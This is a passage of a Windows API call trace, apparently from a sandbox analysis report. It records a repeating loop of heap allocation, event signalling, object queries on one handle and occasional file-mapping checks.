lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.869] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.869] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.869] ResetEvent (hEvent=0xe8) returned 1 [0148.869] SetEvent (hEvent=0xec) returned 1 [0148.869] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.869] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.869] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.869] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.869] ResetEvent (hEvent=0xe8) returned 1 [0148.869] SetEvent (hEvent=0xec) returned 1 [0148.870] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.870] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.870] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.870] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.870] ResetEvent (hEvent=0xe8) returned 1 [0148.870] SetEvent (hEvent=0xec) returned 1 [0148.870] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.870] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.870] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.870] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.870] ResetEvent (hEvent=0xe8) returned 1 [0148.870] SetEvent (hEvent=0xec) returned 1 [0148.871] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.871] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.871] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.871] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.871] ResetEvent (hEvent=0xe8) returned 1 [0148.871] SetEvent (hEvent=0xec) returned 1 [0148.871] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.871] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.871] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.871] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.871] ResetEvent (hEvent=0xe8) returned 1 [0148.871] SetEvent (hEvent=0xec) returned 1 [0148.872] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.872] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.872] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.872] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.872] ResetEvent (hEvent=0xe8) returned 1 [0148.872] SetEvent (hEvent=0xec) returned 1 [0148.872] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.872] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.873] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.873] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.873] ResetEvent (hEvent=0xe8) returned 1 [0148.873] SetEvent (hEvent=0xec) returned 1 [0148.873] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.873] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.873] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.873] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.873] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0148.873] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0148.873] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0148.873] ResetEvent (hEvent=0xe8) returned 1 [0148.873] SetEvent (hEvent=0xec) returned 1 [0148.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.874] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.874] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.874] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.874] ResetEvent (hEvent=0xe8) returned 1 [0148.874] SetEvent (hEvent=0xec) returned 1 [0148.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.874] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.874] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.874] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.874] ResetEvent (hEvent=0xe8) returned 1 [0148.874] SetEvent (hEvent=0xec) returned 1 [0148.875] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.875] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.875] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.875] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.875] ResetEvent (hEvent=0xe8) returned 1 [0148.875] SetEvent (hEvent=0xec) returned 1 [0148.875] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.875] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.875] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.875] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.875] ResetEvent (hEvent=0xe8) returned 1 [0148.875] SetEvent (hEvent=0xec) returned 1 [0148.876] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.876] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.876] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.876] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.876] ResetEvent (hEvent=0xe8) returned 1 [0148.876] SetEvent (hEvent=0xec) returned 1 [0148.876] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.876] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.878] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.878] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.878] ResetEvent (hEvent=0xe8) returned 1 [0148.878] SetEvent (hEvent=0xec) returned 1 [0148.878] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.878] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.879] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.879] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.879] ResetEvent (hEvent=0xe8) returned 1 [0148.879] SetEvent (hEvent=0xec) returned 1 [0148.879] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.879] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.879] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.879] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.879] ResetEvent (hEvent=0xe8) returned 1 [0148.879] SetEvent (hEvent=0xec) returned 1 [0148.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.880] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.880] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.880] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.880] ResetEvent (hEvent=0xe8) returned 1 [0148.880] SetEvent (hEvent=0xec) returned 1 [0148.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.880] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.057] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.057] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.057] ResetEvent (hEvent=0xe8) returned 1 [0149.057] SetEvent (hEvent=0xec) returned 1 [0149.058] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.058] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.058] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.058] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.058] ResetEvent (hEvent=0xe8) returned 1 [0149.058] SetEvent (hEvent=0xec) returned 1 [0149.058] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.058] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.058] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.058] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.058] ResetEvent (hEvent=0xe8) returned 1 [0149.058] SetEvent (hEvent=0xec) returned 1 [0149.059] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.059] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.059] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.059] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.059] ResetEvent (hEvent=0xe8) returned 1 [0149.059] SetEvent (hEvent=0xec) returned 1 [0149.059] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.059] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.059] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.059] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.060] ResetEvent (hEvent=0xe8) returned 1 [0149.060] SetEvent (hEvent=0xec) returned 1 [0149.060] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.060] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.060] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.060] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.060] ResetEvent (hEvent=0xe8) returned 1 [0149.060] SetEvent (hEvent=0xec) returned 1 [0149.060] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.062] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.062] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.062] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.062] ResetEvent (hEvent=0xe8) returned 1 [0149.062] SetEvent (hEvent=0xec) returned 1 [0149.062] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.062] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.062] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.062] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.062] ResetEvent (hEvent=0xe8) returned 1 [0149.062] SetEvent (hEvent=0xec) returned 1 [0149.063] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.063] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.063] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.063] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.063] ResetEvent (hEvent=0xe8) returned 1 [0149.063] SetEvent (hEvent=0xec) returned 1 [0149.063] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.063] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.063] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.063] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.063] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.064] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.064] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.064] ResetEvent (hEvent=0xe8) returned 1 [0149.064] SetEvent (hEvent=0xec) returned 1 [0149.064] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.064] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.064] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.064] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.064] ResetEvent (hEvent=0xe8) returned 1 [0149.064] SetEvent (hEvent=0xec) returned 1 [0149.065] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.065] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.065] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.065] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.065] ResetEvent (hEvent=0xe8) returned 1 [0149.065] SetEvent (hEvent=0xec) returned 1 [0149.065] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.065] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.065] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.065] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.065] ResetEvent (hEvent=0xe8) returned 1 [0149.065] SetEvent (hEvent=0xec) returned 1 [0149.066] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.066] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.066] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.066] ResetEvent (hEvent=0xe8) returned 1 [0149.066] SetEvent (hEvent=0xec) returned 1 [0149.066] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.066] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.066] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.066] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.066] ResetEvent (hEvent=0xe8) returned 1 [0149.066] SetEvent (hEvent=0xec) returned 1 [0149.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.067] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.067] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.067] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.067] ResetEvent (hEvent=0xe8) returned 1 [0149.067] SetEvent (hEvent=0xec) returned 1 [0149.067] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.067] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.067] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.067] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.067] ResetEvent (hEvent=0xe8) returned 1 [0149.067] SetEvent (hEvent=0xec) returned 1 [0149.068] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.068] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.068] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.068] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.068] ResetEvent (hEvent=0xe8) returned 1 [0149.068] SetEvent (hEvent=0xec) returned 1 [0149.068] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.068] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.069] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.069] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.069] ResetEvent (hEvent=0xe8) returned 1 [0149.069] SetEvent (hEvent=0xec) returned 1 [0149.069] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.069] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.069] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.069] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.069] ResetEvent (hEvent=0xe8) returned 1 [0149.069] SetEvent (hEvent=0xec) returned 1 [0149.070] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.070] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.070] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.070] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.070] ResetEvent (hEvent=0xe8) returned 1 [0149.070] SetEvent (hEvent=0xec) returned 1 [0149.070] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.070] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.070] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.070] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.070] ResetEvent (hEvent=0xe8) returned 1 